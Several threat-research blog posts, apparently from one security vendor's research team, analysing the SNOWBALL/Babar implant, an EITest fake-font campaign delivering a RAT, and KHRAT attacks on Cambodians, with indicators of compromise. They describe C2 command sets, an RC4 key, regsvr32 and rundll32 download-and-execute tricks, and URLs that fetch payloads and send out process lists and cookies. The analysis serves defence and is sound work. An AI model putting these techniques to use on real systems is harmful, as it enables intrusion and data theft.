Analysing a 10-Year-Old SNOWBALL

Posted on by Dominik Reichel

Much has been written about the malware toolkit dubbed Animal Farm which is made up of several implants known as Babar, Bunny, NBot, Dino, Casper and Tafacalou. Some of these tools have been used in past attacks against organizations, companies and individuals.

One of the first tools believed to be used by this adversary to target a potential victim is Babar, also known as SNOWBALL. Previous samples of SNOWBALL date back to 2011. However, Palo Alto Networks Unit 42 has identified a much older version. This version of the malware dates back to 2007 according to its compilation time stamp which we believe is valid.

We discovered this sample by coincidence while searching for another unrelated malware in a large malware repository. While looking at the strings and the structure, we could make a connection to previously published documents and decided to do a deeper analysis.

Why analyse malware from the past?

Analysing historical malware samples helps us learn about its set of features and technical capabilities. This helps us compare a tool used by one adversary to that used by similarly adversaries at that time.

This earlier sample of Babar uses many features not present in later versions. The sample also uses a compromised third party website as a C2 server like later versions. We also found a simple bug and a design flaw in the code you wouldn’t expect from malware developed by mature actors.

Detailed technical breakdown

The Loader

The PE sample comes in form of a loader which has a compilation time stamp of 11/09/2007 11:37:36 PM. The loader contains a resource named MYRES (Figure 1) where the payload DLL is stored.

Snowball_1

Figure 1. PE resource named MYRES with main payload DLL

The version info resource language ID is 1036 which stands for French.

The following clear text strings can be found in the loader:

At the beginning, it changes the error mode of the process to handle the following errors:

  • SEM_NOOPENFILEERRORBOX
  • SEM_NOGPFAULTERRORBOX
  • SEM_FAILCRITICALERRORS

For this, it sets up an exception handler with the address to ExitProcess(). Thus, if any of the errors occur the malware just exits.

Next, it tries to gain debug privileges and checks if the major OS version is >= Windows Vista and the platform ID is VER_PLATFORM_WIN32_NT. If so, if tries to create a file named event.log in the %ALLUSERSPROFILE% folder. However, the authors forget to append the character "\" before appending the hardcoded string "event.log". This results in the creation of the following file:

If the call to CreateFile() fails, it tries to delete this file.

Next, it tries to get the local AppData folder path first by querying the %APPDATA% environment variable and if that fails, it looks in the shell folders in the registry. This data is then used to create the following file paths with the hardcoded file names:

The malware also tries to delete any traces it was executed by deleting the corresponding entries in the following registry keys:

After this, the malware checks if its main module is already present on a victim’s system by trying to open the file:

If the file is present, the malware checks if the module file name of the process is as follows and exits otherwise:

If it matches the malware creates a temporary file in the local user’s temp folder and copies the resource named MYRES into it. This file is the payload DLL which then gets moved as wmimgnt.dll to the AppData folder. The file attributes are changed to hidden and the file time is changed to make it look like an old file. The same procedure is done with the initial file which gets copied as wmimngt.exe into the AppData folder.

Thereafter, the malware checks again the major OS version and platform ID like previously and opens the following registry key to get the default internet browser:

The malware authors assumed the browser string always ends with a ".exe" extension and calculate the string in the following manner:

The calculation of the string length in v4 only works if the default browser is for example Internet Explorer or Firefox, as these browsers have an .exe extension in the registry key:

While a browser like Chrome uses the following string:

In this case, the string length gets wrongly calculated and the subsequent call to memcpy() fails with an error so the exception handler kicks in to terminate the process. However, as Chrome was first released in 2008 and the malware was coded earlier, this can't be considered as a bug.

After retrieving the string of the default browser from registry, it builds the following string to get the application path of it:

If this was successful it searches for the string "iexplore.exe" in the path and appends the string " -embedding" to it. If it failed, the malware retrieves the ProgramFiles path via the environment variable "%ProgramFiles%" and appends the string "\Internet Explorer\iexplore.exe -embedding".

The command line argument "-embedding" does the following according to Microsoft:

At last, it creates a suspended process of Internet Explorer and injects the payload DLL via the infamous CreateRemoteThread() method.

The Payload DLL

This sample has a compilation time stamp of 11/09/2007 11:37:46 PM (10 seconds after the loader.) It contains an encrypted resource named XML which contains configuration data. The encryption algorithm RC4 is used with the key +37:*$pK#s. Both the version info and the XML resource language IDs have again the value 1036 (French).

Decrypted configuration data:

As can be seen, a third-party website was compromised as C2 server to host a script named outbase.php. The domain (cpcc-rdc.org) is the official site of Permanent Council of Accounting of the Democratic Republic of the Congo. The script is not online anymore as the attack was most likely carried many years ago.

The following clear text strings can be found in the DLL:

The sample only executes if the reason code why the DLL entry-point function was being called is DLL_PROCESS_ATTACH.

At first, the malware decrypts the XML configuration data to memory, searches for the XML tags <RUN_KEY> and <CONFIG_KEY> and extracts their content. With this data, it checks if the malware's persistency is already present in the registry Run key and creates it if it's not the case:

Thereafter, it decrypts the data of the following XML tags and stores them in memory:

The implementation of this part of the code is somewhat flawed, since the malware contains the encrypted configuration data, but the same data (except for the C2 domain) is also present as clear text strings. If the decryption didn’t work it uses the clear text strings.

Snowball_2

Figure 2. Clear text configuration data

It also creates the following new XML tags based on the old ones:

All the XML tags are then RC4 encrypted with key +37:*$pK#s and stored in the following registry key:

Then, it tries to get system information from the following registry keys:

The malware also retrieves the current system time, encrypts it with RC4 and the same key and stores it in the following registry key:

Then, it creates a string with the previously retrieved system information, the configuration data and the following string template:

Next, the MD5 hash of this string is calculated and encrypted with RC4 and the same key again. This encrypted string gets then stored in the following registry key:

To send victim information to the C2 server, it prepares a URL query string by entering the "INFO" branch. The other query branch named "CMD" is entered to send back the result of a command sent by the C2 server.

Snowball_3

Figure 3. URL query string creation branches

At first, the checks if the <ENCODE> XML tag is set to 0x1 and if so it encrypts the previously created string with the victim’s information with the password contained in the <PASSWORD> XML tag. It does this by bytewise adding 0x80 to the password string and then using an encoded byte to bytewise XOR the information string. The encrypted string gets then Base64 encoded and the characters "+", "/" and "=" URL encoded ("%2B", "%2F", "%3D"). The following string template is then used together with the encrypted data to form the final URL query string:

The first string is the previously calculated MD5 hash, the decimal number is made of a random number between 3000/3600 ( XML tag) and 4000/4800 ( XML tag). The last string is made of the hardcoded "INFO" string along with the Base64 encoded victim data. For example:

To test if the computer is connected to the internet it uses InternetGetConnectedState() API function. Next, it enters either the "main" or the "safe" branch referring to the XML tags. The main branch is the usual execution path, while the safe branch only gets used for a specific malware command. If there is no internet connection it sleeps for a certain time, otherwise it contacts the C2 server present in the <HOST>  XML tag together with the URL query string. The malware has the ability to send data with both HTTP request methods, GET and POST. However, this sample only uses the POST request method along with the following content type field:

After contacting the C2 server, the malware copies the response into memory and scans for the marker =#-+ApAcHe_ToMcAt+-#= taken from the <PREFIX> XML tag. If successful, the response gets Base64 decoded and decrypted with the same algorithm used to encrypt the victim information string. The PHP script outbase.php can respond with one of the commands listed below, which the malware then executes.

To process some commands, the malware creates an anonymous pipe and a hidden instance of cmd.exe or command.com, depending on the platform ID. The command line output gets redirected to the pipe, read into memory and later send back encrypted and encoded via the "CMD" URL query branch.

Possible malware commands:

1. pwd
Get current working directory

2. cd
change directory to delivered string

3. part
Get list and type of partitions

4. reboot
Reboot system

5. shutdown
Shutdown system

6. download
Download file < 512,000 bytes delivered in form of a URL ("500 Ko") to disk

7. big
Download file > 512,000 bytes delivered in form of a URL ("500 Ko") to disk

8. wget
Download file with predefined HTTP query string

9. fetch
Download file via URLDownloadToFile()

10. wput
Download data from internet via download command and sent data back via "data=" query

11. info
Send back victim system information (see above)

12. showconfig
Send back current config data with following string template:

13. timeout
Change current timeout interval variables

14. timeout_main
Change timeout intervals in main XML configuration

15. timeout_safe
Change timeout intervals in safe XML configuration

16. newurl_main
Change host URL in main XML configuration

17. newurl_safe
Change host URL in safe XML configuration

18. movetosite
Change current host URL variable

19. listprocess
Get list of current processes with PID

20. killprocess
Terminate process delivered via string

21. kitkit
Terminate itself

22. uninstall
Delete malware files on disk and registry entries

Conclusion

This malware has a small set of features ranging from retrieving system information, to downloading files or killing processes on a victim’s system. Technically, it is not outstanding and can be considered only average compared to alleged state sponsored malware written at that time (e.g. Careto or Regin). The code and structure is similar to the Casper implant which is most likely based on this implant. The malware contains an obvious design flaw leaving the main part of the configuration data visible in clear text.

  • AutoFocus customers can identify this, and other samples related to it using the Snowball
  • WildFire and Traps properly classify Snowball samples as malicious.

Thanks to Esmid Idrizovic for his assistance in this analysis.

Indicators of Compromise:

Hashes (SHA-256)

Loader: c71b1a31bdf3a08fa99ed1f6a1c5ded61e66f3d41e4ed88a12430d1c14ed10ca
Payload DLL: a9220590d3c35fe22df9d38a066ca8d112b83764b39fea98b38761daa64c77b8

EITest: HoeflerText Popups Targeting Google Chrome Users Now Push RAT Malware

Posted on by Brad Duncan

The attackers behind the EITest campaign have occasionally implemented a social engineering scheme using fake HoeflerText popups to distribute malware targeting users of Google's Chrome browser. In recent months, the malware used in the EITest campaign has been ransomware such as Spora and Mole. However, by late August 2017, this campaign began pushing a different type of malware.  Recent samples are shown to infect Windows hosts with the NetSupport Manager remote access tool (RAT). This is significant, because it indicates a potential shift in the motives of this adversary. Today's blog reviews recent activity from these EITest HoeflerText popups on August 30, 2017 to discover more about this recent change.

Figure 1 below shows what victims see when they view a compromised website, and Figure 2 shows the page if the user clicks the "Update" button. Chrome users should be suspicious of any pop-ups that match these images.

Hoefler_1

Figure 1: Fake HoeflerText popup after viewing a compromised site with the Chrome browser.

Hoefler_2

Figure 2: Clicking the "update" button sent us Font_Chrome.exe.

History

As early as December 2016, the EITest campaign began using HoeflerText popups to distribute malware. Since late January 2017, we have only seen ransomware from these popups.  The method has occasionally disappeared for weeks at a time. By July 2017, the HoeflerText popups delivered Mole ransomware under the file name Font_Chrome.exe. These popups stopped in late July. But by late August 2017, they reappeared, and we saw a different type malware sent under the file name Font_Chrome.exe. Recent examples reviewed by Unit 42 are not ransomware; they are file downloaders. Figure 3 below shows the hits on Font_Chrome.exe in AutoFocus from July 16, 2017 through August 30, 2017.

Hoefler_3

Figure 3: Recent activity from fake HoeflerText popups in Google Chrome sending malware.

Recent Activity

Network traffic follows two distinct paths. Victims who use Microsoft Internet Explorer as their web browser will get a fake anti-virus alert with a phone number for a tech support scam. Victims using Google Chrome as their browser will get a fake HoeflerText popup as seen in Figure 1 that offers malware disguised as Font_Chrome.exe. Figure 4 shows the chain of events for current activity from the EITest campaign.

Hoefler_4

Figure 4: Chain of events for activity from the EITest campaign.

Current samples of Font_Chrome.exe are file downloaders. They retrieve follow-up malware that installs a NetSupport Manager remote access tool (RAT).  NetSupport Manager is a commercially-available RAT previously associated with a malware campaign from hacked Steam accounts last year. For the August 2017 HoeflerText popups, we have found two examples of the file downloader and two examples of follow-up malware to install NetSupport Manager RAT.

Hoefler_5

Figure 5: Traffic from a recent infection filtered in Wireshark.

Hoefler_6

Figure 6: The downloaded fake Chrome font program.

Hoefler_7

Figure 7: Double-clicking Font_Chrome.exe downloads and executes more malware.

Hoefler_8

Figure 8: Follow-up malware installs NetSupport Manger RAT on the infected Windows host.

Hoefler_9

Figure 9: RAT configuration settings from an infected Windows host.

NetSupport Manager is currently at version 12.5.  The version seen on the infected host was version 11.00.

Conclusion

Users should be aware of this ongoing threat. Be suspicious of popup messages in Google Chrome that state: The "HoeflerText" font wasn't found. Since this is a RAT, infected users will probably not notice any change in their day-to-day computer use. If the NetSupport Manager RAT is found on your Windows host, it is probably related to a malware infection.

It's yet to be determined why EITest HoeflerText popups changed from pushing ransomware to pushing a RAT. Ransomware is still a serious threat, and it remains the largest category of malware we see on a daily basis from mass-distribution campaigns. However, we have also noticed an increasing amount of other forms of malware in recent campaigns, especially compared to 2016. RATs give attackers more capabilities on a host and are generally much more flexible than malware designed for a single purpose. The August 2017 change by EITest HoeflerText popups represents a subtle shift where ransomware is slightly less prominent than it once was.

See the section below for file names, locations, hashes, and other related information on today's infection. Palo Alto Networks customers are protected from this threat through our next-generation security platform. Current samples appear as malware in AutoFocus, and customers can search for similar malware using the NetSupportManager tag.

We will continue to investigate this activity for applicable indicators, inform the community, and further enhance our threat prevention platform.

Indicators of Compromise

URLs and domains to block:

  • hxxp://demo.ore.edu[.]pl/book1.php
  • boss777[.]ga
  • pudgenormpers[.]com
  • invoktojenorm[.]com
  • hxxp://94.242.198[.]167/fakeurl.htm
  • hxxp://94.242.198[.]168/fakeurl.htm

First file downloader and follow-up malware:

Second file downloader and follow-up malware:

Associated URLs:

  • 46.248.168[.]49 port 80 - demo.ore.edu[.]pl - GET /book1.php
  • 51.15.9[.]99 port 80 - boss777[.]ga - GET /HELLO.exe
  • 51.15.9[.]99 port 80 - boss777[.]ga - GET /joined1.exe
  • 51.15.9[.]99 port 80 - boss777[.]ga - POST /JS/testpost.php
  • DNS query for pudgenormpers[.]com, resolved to 94.242.198[.]167
  • DNS query for invoktojenorm[.]com, resolved to 94.242.198[.]168
  • 94.242.198[.]167 port 1488 - POST hxxp://94.242.198[.]167/fakeurl.htm
  • 94.242.198[.]168 port 1488 - POST hxxp://94.242.198[.]168/fakeurl.htm

Directories seen so far for NetSupport Manager RAT on an infected host:

  • C:\Users\[username]\AppData\Roaming\AppleDesk1
  • C:\Users\[username]\AppData\Roaming\AppleDesk2

Updated KHRAT Malware Used in Cambodia Attacks

Posted on by Alex Hinchliffe

Introduction

Unit 42 recently observed activity involving the Remote Access Trojan KHRAT used by threat actors to target the citizens of Cambodia.

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forcepoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

This report covering contemporary variants of KHRAT, discusses updated techniques and a recent attack affecting Cambodians, including:

  • Updated spear phishing techniques and themes;
  • Multiple techniques to download and execute additional payloads using built-in Windows applications;
  • Expanded infrastructure mimicking the name of the well-known cloud-based file hosting service, Dropbox;
  • Compromised Cambodian government servers.

In its various forms, including document files, executables and dynamic link libraries, KHRAT is not very prevalent with just over fifty network sessions seen across our sensors since the start of the year, with a slight uptickKHRAT_1
visible in the last couple of months.

Attack Delivery

On June 21, 2017, a Word document was uploaded to Wildfire, determined to be malicious and visible in Autofocus with some interesting malicious behavior tags, namely AppLockerBypass, CreateScheduledTask and RunDLL32_JavaScript_Execution, a private tag contributed by Squadra Solutions. There were also some indications this file was related to the actors using KHRAT malware.

The weaponized document (SHA256: c51fab0fc5bfdee1d4e34efcc1eaf4c7898f65176fd31fd8479c916fa0bcc7cc), with the filename “Mission Announcement Letter for MIWRMP phase 3 implementation support mission, June 26-30, 2017(update).doc”, was shown in AutoFocus as contacting a Russian IP address 194.87.94[.]61 over port 80 in the form of a HTTP GET request to update.upload-dropbox[.]com – a site that could (erroneously) be thought of as belonging to the well-known cloud-based file hosting service, Dropbox, and as such is intended to trick victims and network defenders into thinking, at least at first glance, the C2 traffic is legitimate.

The acronym MIWRMP refers to the Mekong Integrated Water Resources Management Project – a multi-million dollar, World Bank funded project relating to effective water resource and fisheries management in North Eastern Cambodia, which happens to be in its third phase – matching the document’s filename. Again, the attackers took steps to make the malware appear to be a legitimate file.

Figure 1 below shows the document, together with the social engineering techniques employed to lead the victim into enabling the macro content and running the VBA code. For all intents and purposes this is a Word document, especially considering the file extension, however, underneath it’s a multipart MIME file that could also be treated as XML.

Such files are often created when saving Microsoft Office content as MHTML (MIME HTML) files – a web page archive format used to combine in a single document the HTML code and its companion resources objects – or, when sending a HTML messages using very old versions of Outlook, but is by no means a new technique.

For more details about this format, which includes the OLE document and its macros in a zlib-compressed, base-64 encoded data part, please refer to the appendix further down.

Khrat_2

Figure 1: Weaponized Word document referring to MIWRMP phase 3

Once Word has rendered the document, and the macro content has been enabled, the VBA code, which exists as part of the “Open” macro, will run automatically.

Immediately the victim would see the document contents change to display, simply, "Because your Office version isn't compatible with the document, it can't be opened, according to the prompts to open the compatibility mode and then you can continue to view the document.", as shown in Figure 2 below.

Khrat_3

Figure 2: Word document contents post VBA macro execution

Perhaps conducted as a distraction technique making the victim believe there truly is a compatibility issue. This could be the perception, especially considering nothing untoward happens elsewhere on the system.

The VBA code from the document’s macro, shown in Figure 3 below, describes the malicious behavior. Line 6 of the code creates a new scheduled task using the CLI program schtasks.exe (CreateScheduledTask) together with the associated parameters, including rundll32.exe and JavaScript parameters (RunDLL32_JavaScript_Execution), which is a known method for tricking rundll32.exe into loading the mshtml.dll library, calling the exported function RunHTMLApplication, and having it execute the subsequent JavaScript code. We will cover this in more detail later on.

The AutoFocus tag CreateScheduledTask indicates that a given application, irrespective of malicious classification, is capable of created tasks for the Windows scheduler to execute. This is often used by malware for maintaining persistence or in some cases to aid spreading throughout a network using remote hosts’ scheduler to execute payloads. Since the start of this year this behavior has been seen very consistently during dynamic analysis of malware, averaging over three thousand malicious Uptick_2 sessions per day containing malware using this technique, and spiking towards the end of July, as per the sparkline chart above, to between twenty and forty thousand sessions each day in one week.

Throughout the year the number of malware samples exhibiting the behavior relating to the RunDLL32_JavaScript_Execution AutoFocus tag has been seen much, much smaller compared to CreateScheduledTask. Averaging about one malicious session per day - Uptick_3in reality small groups of samples in the same day or week, spread over the year – this technique was last seen around the date of the KHRAT activity discussed in this report.

As mentioned previously, AutoFocus also tagged the document file as exhibiting a malicious behavior named “AppLockerBypass”, which relates to a technique discovered last year, whereby regsvr32.exe – a command-line tool that registers .DLL files as command components in the Windows registry – can download and execute scripts within XML files hosted on URLs. This technique works on many versions of Windows Operating System and, because regsvr32.exe is an allowlisted, trusted binary on the Windows, it can be used to download and execute programs that would otherwise be prevented by AppLocker policies or rules. Line 7 of the code performs this activity.

The AppLockerBypass tag has seen slightly more frequently than RunDLL32_JavaScript_Execution but also dropped off completely in the last couple of months.

Figure 3: VBA Macro code from the weaponised document

At the time of writing logo33_bak.ico and logo33.ico files referenced in the VBA macro code were unavailable and, as of now, it’s not known exactly their contents or purpose, however, judging by other .ico files downloaded in similar ways from related components of KHRAT malware, it’s fair to assume they would include methods to add further persistence to the actor’s attack, or install further payloads towards their objectives.

During dynamic analysis of this malicious document, and downloaded payloads, in our Wildfire sandbox, modifications were also made to the Windows registry. Specifically, the MRU (Most Recently Used) list of documents opened using Microsoft Word was updated such that all items referenced each of the filenames listed below. This would mean that should the victim load any documents from their most recently used document list, Word would open the malicious document again.

  • QQYXDK0tQH.docm
  • MGm.docx
  • 9sxAwWnA.docm
  • 8Y0kVy.doc
  • W4.docm
  • oDF.docx
  • Mk3tj.doc
  • 77ajEQp0fn.docx
  • eSjo0J.doc
  • bp8OB7.docx
  • Y.docx
  • pjuhm0HWeKE.doc
  • WktDOjyzu.docm

The registry key modified is shown below where <version> would relate to the version of office installed, e.g. 14.0, and <number> would relate to the most recent document list. In the case of KHRAT the first 14 MRU items were updated:

Fake “Dropbox” Infrastructure

Pivoting using the data points discussed thus far, such as the domain name update.upload-dropbox[.]com, the Russian IP address, or indeed the registrant email address for the domain – the misspelt mail.noreoly@gmail[.]com – provide an insight into the initial infrastructure supporting this campaign. Figure 4 below shows this infrastructure with some key points numbered.

Sample (1) relates to the document, described earlier in this report, and shows the connection to the domain update.upload-dropbox[.]com, also previously discussed, as well as to the Russian IP address 194.87.94[.]61. Figure 4 below shows another (2) sample’s connection to the update.upload-dropbox[.]com domain, and also as having been hosted on the compromised Cambodian Government’s website, redacted in the figure.

Khrat_4

Figure 4: Initial infrastructure relating to fake Dropbox sites

Additional research into upload-dropbox[.]com uncovered samples beaconing to third levels of both it and inter-ctrip[.]com, as well as PDNS overlaps between multiple third levels of each domain. inter-trip[.]com has previously been reported as a C2 related to this activity. As with the fake drobox domain intended to trick victims and defenders by closely mimicking a legitimate website, the actor-registered inter-ctrip[.]com is very similar to two legitimate travel websites, ctrip.com and intertrips.com. Ctrip is a China-based travel provider, while InterTrips is a US-based travel provider focusing on travel to Asia. While researching the infrastructure we also found an additional malicious domain not previously reported, vip53[.]cn. As with the aforementioned two domains, it is actor-registered and has multiple third level domains being used as C2s.

All of the IPs to which these C2 domains resolved, when it was possible to identify the owner, are tied to either VPS providers or legitimate but compromised infrastructure. In two cases we were able to identify what appear to be compromised wireless devices, with one in Vietnam and one in Singapore.

Installation & Persistence

KHRAT Dropper

Sample (2) (SHA256:53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1) is a very small – 2,560 byte – Portable Executable (PE) file hosted on the compromised government servers, and downloaded in web-browsing sessions by organizations based in Cambodia. According to AutoFocus, these sessions indicated the EXE filename was either ‘news’ or ‘logo’ and, in both cases, the extension was ‘.jpg’.

The Microsoft Visual C++ compiled program ‘news.jpg’ simply calls the WinExec Windows API to launch another application – regsvr32.exe – passing the parameters shown in Figure 5 below, before exiting. As you can imagine, such activity is tagged in AutoFocus, just like the document sample exhibiting the same behavior, as “AppLockerBypass”.

Khrat_5

Figure 5: news.jpg code to execute regsvr32.exe with malicious XML/VBS script.

This variant of KHRAT runs regsvr32.exe using the ‘/I’ option to pass a command line – the URL in this case – as a parameter when registering scrobj.dll – Microsoft's Script Component Runtime.  Regsvr32.exe will download logo.ico – an XML registration script – from update.upload-dropbox[.]com. The contents of logo.ico includes a VBS script to harvest a list of running processes from the system using the Windows Management Instrumentation (WMI). This list is then sent as a HTTP POST to the PHP script http://update.upload-dropbox[.]com/docs/tz/GetProcess.php. At the time of writing, this POST provided no response from the server and may have been simply for further reconnaissance and information gathering, or to provide further payloads. For more information about this logo.ico, please see the “Reconnaissance” appendix.

Another component related to the campaign is sample (4) (SHA256: c0baa57cbb66b8a86aac7d4eeab7a0dc1ecfb528d8e92a45bdb987d1cd5cb9b2) shown in Figure 4 above. This PE executable attempts to download http://update.upload-dropbox[.]com/images/flash/index.ico, which is shown in Figure 6 below, highlighting their consistent use of techniques to remain persistent and download further malicious components.

Figure 6: index.ico downloaded by another KHRAT component

Index.ico would create three scheduled tasks with the more subtly named “Windows Scheduled Maintenance1” (Maintenance2 and Maintenance3), although three services with incremented numbers in their names is also a little suspicious, and use regsvr32.exe to download and execute three other .ico files – reg.ico, reg_salt.ico and reg_bak.ico – the purposes of which are currently unknown. It’s worth noting each service has different running frequencies – every 4 minutes, 20 minutes and 10 minutes, respectively, which could indicate a dependency on reg.ico, as it is more aggressively sought after, or that is a more critical component to have running.

The VBS Script code in index.ico, shown in Figure 6, performs one final command that abuses the aforementioned trick of rundll32.exe to attempt to download run.ico from http://update.upload-dropbox[.]com/images/flash. Unfortunately, all four of these .ico files are unavailable at the time of writing.

KHRAT DLL

At the time of writing a DLL component was not downloaded and executed, however, AutoFocus makes it clear, as shown in Figure 7, that during the Wildfire detonation of one of the droppers in June, a DLL component is present and called using rundll32.exe (as it was intended this time) to run the DLL – WIN.DAT – passing the parameters K1 or K3 depending on the function required by the caller.

Khrat_6

Figure 7: Wildfire detonation results showing KHRAT DLL being called.

Furthermore, the registry activity gathered from Wildfire indicates a persistence mechanism whereby the DLL will be loaded via a Registry Run key, passing K1 as the parameter, as shown in Figure 8 below.

Khrat_7

Figure 8: Wildfire detonation results showing persistence mechanism using the registry

Although no DLL sample was available at the time of writing, sample (3) (SHA256: de4ab35a2de67832298f5eb99a9b626a69d1beca78aaffb1ce62ff54b45c096a), shown in Figure 4, is a DLL that has been linked to the campaign and had been seen in Wildfire exhibiting behaviors as described here.

Chinese Developer Network click-tracker

During investigation of the KHRAT dropper code responsible for sending process lists to http://update.upload-dropbox[.]com/docs/tz/GetProcess.php, I reviewed some of the responses and content received. Working my way from the root of the site backwards to the GetProcess.php script I encountered a mixture of HTTP 500 – Internal Server Error and HTTP 403 – Forbidden messages from the server, however, when browsing the root of the /tz/ folder, I noticed an interesting one-line HTML code snippet loading a JavaScript from http://doc.upload-dropbox[.]com/docs/tz/probe_sl.js.

The JavaScript code in probe_sl.js uses a click-tracking technique, presumably so the actors can monitor who is visiting their site. It may also be an attempt to control the distribution of later stage malware and tools, by only sending it in response to requests from desired victims or vulnerable systems, and dropping requests from others such as researchers. The data gathered by the code includes the user-agent, domain, cookie, referrer and flash version, which are sent in a HTTP GET request to probe_sl.php, a PHP script located in the same folder as the JavaScript on the server.

Interestingly the JavaScript code appears almost identical to that found on a blog hosted on the Chinese Software Developer Network (CSDN) website. The blog, entitled “XSS信息刺探脚本” (translation: XSS information spying script) and written by eT48_Sec, provides not only the JavaScript code to gather the tracking information but also the PHP server-side code to receive and save the information to disk. The HTML-formatted contents of the file containing the tracked information, entitled "Sensitive Information", would look like the example shown in Figure 9 below. For more information about the code used in this click-tracker, please see the “CSDN Click Tracker” appendix.

Khrat_8

Figure 9: data.html from the actor’s server, as viewed in a web-browser

Conclusion

The threat actors behind KHRAT have evolved the malware and their TTPs over the course of this year, in an attempt to produce more successful attacks, which in this case included targets within Cambodia.

This most recent campaign highlights social engineering techniques being used with reference and great detail given to nationwide activities, likely to be forefront of peoples’ minds; as well as the new use of multiple techniques in Windows to download and execute malicious payloads using built-in applications to remain inconspicuous which is a change since earlier variants.

Other notable actions by the threat actors included updated infrastructure purporting to be part of either the well-known cloud-based company, Dropbox, or a travel agency, likely to appear genuine, masquerading traffic under the premise of other applications to communicate with the attack infrastructure, some of which included compromised Cambodian Government servers. The attackers use of the click-tracking software on their C2 domain lets them track both intended victims and researchers who have discovered the activity, which is not something we have found to date in use by many groups.

We believe this malware, the infrastructure being used, and the TTPs highlight a more sophisticated threat actor group, which we will continue to monitor closely and report on as necessary.

Palo Alto Networks customers are protected and may learn more via the following:

  • Samples are classified as malicious by WildFire and Traps prevents their execution.
  • Domains and IPs have been classified as malicious and IPS signatures generated.
  • AutoFocus users may learn more via the KHRAT tag.

Indicators of Compromise

KHRAT Delivery Document:

c51fab0fc5bfdee1d4e34efcc1eaf4c7898f65176fd31fd8479c916fa0bcc7cc

KHRAT Dropper:

53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1

KHRAT Payload:

c0baa57cbb66b8a86aac7d4eeab7a0dc1ecfb528d8e92a45bdb987d1cd5cb9b2

KHRAT DLL:

de4ab35a2de67832298f5eb99a9b626a69d1beca78aaffb1ce62ff54b45c096a

Related infrastructure

upload-dropbox[.]com

update.upload-dropbox[.]com

doc.upload-dropbox[.]com

date.upload-dropbox[.]com

ftp.upload-dropbox[.]com

inter-ctrip[.]com

kh.inter-ctrip[.]com

bit.inter-ctrip[.]com

cookie.inter-ctrip[.]com

help.inter-ctrip[.]com

dcc.inter-ctrip[.]com

travehappy.inter-ctrip[.]com

online.inter-ctrip[.]com

upgrade.inter-ctrip[.]com

vip53[.]cn

dns.vip53[.]cn

ftp.vip53[.]cn

mail.vip53[.]cn

nc.vip53[.]cn

nz.vip53[.]cn

sl.vip53[.]cn

sz.vip53[.]cn

yk.vip53[.]cn

Appendix

Delivery Document

As mentioned earlier, the delivery document contained VBA code (Figure 3) to download and install further malicious payloads using AppLockerBypass and RunDLL32_JavaScript_Execution techniques, abusing built-in, trusted Microsoft applications.

The document, as shown in Figure 10, is multipart MIME file created when saving Microsoft Office content as MHTML (MIME HTML) files – a web page archive format used to combine in a single document the HTML code and its companion resources.

Khrat_9

Figure 10: multipart MIME Document format

Embedded files, such as the images in the document itself, are stored in  MIME as base64 encoded data. The most interesting of all the encoded data sections, representing the original OLE Document and associated VBA macros, is the one shown in Figure 11 – editdata.mso. The MSO file type is created when saving an Office document as a webpage, and the data is base64 encoded.

Khrat_10

Figure 11: MSO object containing the OLE Document and VBA macros.

Figure 12 below shows the base64 content decoded to reveal the ActiveMime wrapper, which is ZLIB compressed, as per the magic bytes at offset 0x32. Once decompressed, the traditional OLE object and header (0xD0CF1LE0), as shown in Figure 13, is revealed.

Khrat_11

Figure 12: ActiveMime ZLIB wrapper

Khrat_12

Figure 13: Decompressed data showing the OLE object.

The VBA macro code performs several functions, the first of which is to create a scheduled task, as show in Figure 14 below. The task will launch rundll32.exe every 10 minutes, indefinitely, passing similar parameters as discussed earlier to have rundll32.exe execute JavaScript code to download and execute the contents of http://update.upload-dropbox[.]com/images/rtf/logo33_bak.ico.

Khrat_13

Figure 14: Windows Task Scheduler showing the malicious task

Reconnaissance

After execution, the dropper executable, as shown in Figure 5, uses the AppLockerBypass technique to download and execute the XML content shown below in Figure 15. The XML content contains VBScript code capable of enumerating all running processes and sending the resultant information to a PHP script on a remote host.

All process names enumerated are stored in a newline-delimited (Chr(13) and Chr(10)) string object where each line is padded with spaces (Chr(32)). The text list is then transmitted over a HTTP POST to a PHP script hosted at the following location: http://update.upload-dropbox[.]com/docs/tz/GetProcess.php. Note also that the final line of the VBS code in Figure 15 shows a commented-out debug statement to print the response text from POST request. During investigation, the response from the server appeared to be blank.

Figure 15: XML script logo.ico, containing VBS code, for regsvr32.exe to execute

CSDN Click-tracker

In the root of the /tz/ folder on the server where the GetProcess.php file was located, a small HTML code snippet executed JavaScript from the http://doc.upload-dropbox[.]com/docs/tz/probe_sl.js.

Figure 16 below shows the contents of the JavaScript, which gathers information from the web-browser visiting the site including the referring URL, flash version, cookie, domain and the user agent. The collected information is transmitted to another PHP script via a HTTP GET request.

Figure 16: JavaScript click-tracking code

As mentioned earlier, the JavaScript click-tracking code in Figure 16, appeared to be identical to that published to the Chinese Software Developer Network in China. Figure 17 below shows that only a few minor differences exist between the blog code and the code downloaded from the actor’s website. Having adjusted some minor white-space character differences, and converted the blog’s code from Linux line-ending format (LF) to Windows format (CRLF), to match that of the actors, the only differences are:

1. A different URL to send the HTTP GET request
2. An additional data point – referrer – to collect information about where the visitor came from before hitting their site.
3. Updates to the URL query string:

a.The addition of the new referrer information.
b. Fixing a bug in the author’s code whereby the flash variable, which relates to the version of flash the visitor has installed in their web-browser, was omitted from the query string.

Khrat_14

Figure 17: JavaScript click-tracking code diff vs a CSDN blog

The CSDN blog post also included PHP code, shown in Figure 18, capable of receiving the HTTP GET request from the click-tracking JavaScript code and persisting it to data.html on the web server.

Figure 18: PHP code to save the click-tracking information

Unable to see the contents of the PHP code on the actor’s server, but assuming they copied the code from CSDN, I checked for the presence of data.html, which existed. Furthermore, it had the exact structure the PHP code in Figure 18 would have created.

Interestingly however, two crucial updates made to the JavaScript click-tracking seem not to have been implemented in the actor’s PHP code yet, namely difference 2. and 3 shown in Figure 17. Yet the actors did manage to fix a spelling mistake in the CSDN blog’s code, by updating the print statement User_Agetn to User_Agent. Figure 19 below shows an output data.html example.

Figure 19: data.html from the actor’s server showing my information

Palo Alto Networks Unit 42 Vulnerability Research August 2017 Disclosures

Posted on by Unit 42

